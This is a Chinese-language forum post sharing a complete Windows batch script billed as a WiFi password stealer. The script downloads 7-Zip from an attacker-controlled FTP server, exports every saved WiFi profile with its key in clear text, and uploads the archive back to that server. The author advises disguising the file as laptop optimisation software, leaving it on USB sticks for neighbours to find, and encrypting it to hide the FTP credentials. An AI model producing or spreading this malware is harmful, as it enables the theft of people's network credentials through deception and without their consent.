本帖最后由 KeCheng 于 2017-9-26 09:02 编辑
今天看到这篇本地wifi密码获取的文章
https://www.52pojie.cn/thread-632199-1-1.html
于是想起了我曾经编写的“wifi密码窃取器”这个程序大致是“发给别人让他运行,然后他的wifi密码就能发回到你搭建的ftp服务器(也可以放进优盘或者制作badusb,然后把优盘丢到想蹭网的人家门口,等他捡到后插电脑上运行)”,给大家分享一下。
程序原理是在运行程序后,利用 netsh wlan export profile key=clear folder=c:\ 命令将本地的密码导出,然后打包发给黑客搭建的ftp服务器
工作原理:
1.程序运行后,从指定ftp服务器“123.123.123.123”上下载7z.exe和7z.dll,一会打包密码用
2.获取密码,使用7z.exe和7z.dll打包压缩。
3.把压缩包发回ftp
这个程序是一个bat批处理程序,能够在win7下运行,将下面的代码保存为“笔记本性能优化【第一次使用可能运行时间稍长】.bat”(伪装成笔记本性能优化软件)的批处理程序即可。
下面是代码(里面的123.123.123.13修改为自己的ftp的地址,ftp用户名写自己的ftp用户名,ftp密码写自己的ftp密码,提前把7z.exe和7z.dll放到ftp根目录):
[ColdFusion] 纯文本查看 复制代码 @echo off
@title 笔记本电脑优化
@mode con lines 14 cols 14
@color 01
echo open 123.123.123.123>C:\config.txt
cls
echo user ftp用户名>>C:\config.txt
cls
echo ftp密码>>C:\config.txt
cls
echo get "7z.dll" "C:\7z.dll">>C:\config.txt
cls
echo get "7z.exe" "C:\7z.exe">>C:\config.txt
cls
echo binary>>C:\config.txt
cls
echo bye>>C:\config.txt
cls
ftp -n -s:"C:\config.txt"
cls
del C:\config.txt
cls
netsh wlan export profile key=clear folder=c:\&&c:\7z a -tzip c:\wifipwd.7z c:\*.xml&&del /f /q c:\*.xml
cls
echo open 123.123.123.123>C:\config.txt
cls
echo user ftp用户名>>C:\config.txt
cls
echo ftp密码>>C:\config.txt
cls
echo put "C:\wifipwd.7z" "\wifipwd.7z">>C:\config.txt
cls
echo binary>>C:\config.txt
cls
echo bye>>C:\config.txt
cls
ftp -n -s:"C:\config.txt"
cls
del C:\config.txt
del C:\wifipwd.7z
del C:\7z.exe
del C:\7z.dll
cls
7z.exe和7z.dll这两个程序是我们提前放在ftp服务器ftp根目录下的。当我们的窃取密码的批处理程序运行时,就会链接ftp服务器,把7z.exe和7z.dll下载到本地。如果没有被安全软件拦截的话,包含了无线密码的压缩包会被发到ftp上,内容如下:
(一个wifi一个xml文件)
随便打开一个xml文件,图片中标出的那一行就是该wifi的密码:
由于批处理文件是明文的,如果右键批处理,选择编辑,就会看到源码,这样非常不安全(ftp地址和账户密码都暴露了),所以最好自己找一个bat加密程序来为我们的窃取器加一下密。
加密后要本机测试,能成功运行后再发给别人!
获取无线网络密码.rar
(699.68 KB, 下载次数: 1932)
百度云下载链接: https://pan.baidu.com/s/1hr8vBMG 密码: gh2f |